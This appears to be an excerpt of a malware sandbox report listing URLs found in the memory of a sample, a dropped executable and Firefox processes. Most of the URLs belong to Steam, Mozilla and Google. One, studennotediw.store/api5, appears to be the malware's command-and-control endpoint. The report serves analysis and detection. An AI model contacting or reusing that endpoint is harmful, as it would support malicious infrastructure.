Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: file.exe, 00000000.00000003.2216660119.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216901529.000000000160F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://studennotediw.store:443/api5
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-user-removal
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 3f779c1cca.exe, 0000000E.00000003.3116782547.0000000005530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 3f779c1cca.exe, 0000000E.00000003.3116782547.0000000005530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 00000031.00000003.3282825438.000001F80EE7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-west-first-party-cookies).
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 00000031.00000003.3327133241.000001F81649A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3212320962.0000027F673C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3205919876.00000229082E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3267079195.000001F87F4AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: firefox.exe, 0000001C.00000003.3092595662.000002AE0900F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3093568542.000002AE09052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3092140366.000002AE08E00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3093098624.000002AE09031000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000031.00000003.3312969309.000001F80F0B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.certificate-transparency.org/what-is-ct
Source: file.exe, 00000000.00000003.2217084641.0000000001662000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001609000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053644210.0000000000736000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053464149.0000000000743000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053500783.00000000006FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/le
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/a
Source: 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/accP
Source: file.exe, 00000000.00000003.2216660119.0000000001609000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.00000000007B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: 3f779c1cca.exe, 0000000E.00000003.3053437024.0000000000778000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/acc~
Source: file.exe, 00000000.00000003.2231661497.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231589926.0000000005FA7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231804655.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2913890648.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914064693.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914375920.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066714129.0000000005264000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3067372999.0000000005261000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066918623.0000000005261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: firefox.exe, 0000001C.00000003.3187765588.000002AE0D2EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3328585697.000001F8178B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3325660458.000001F81608C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001C.00000003.3092595662.000002AE0900F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3093568542.000002AE09052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3092140366.000002AE08E00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3093098624.000002AE09031000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.2231661497.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231589926.0000000005FA7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231804655.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2913890648.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914064693.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914375920.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066714129.0000000005264000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3067372999.0000000005261000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066918623.0000000005261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: firefox.exe, 0000001C.00000003.3092595662.000002AE0900F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3093568542.000002AE09052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3092140366.000002AE08E00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3093098624.000002AE09031000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: file.exe, 00000000.00000003.2256050392.0000000005F99000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2947391829.00000000059D8000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3107825682.000000000532A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: file.exe, 00000000.00000003.2256050392.0000000005F99000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2947391829.00000000059D8000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3107825682.000000000532A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
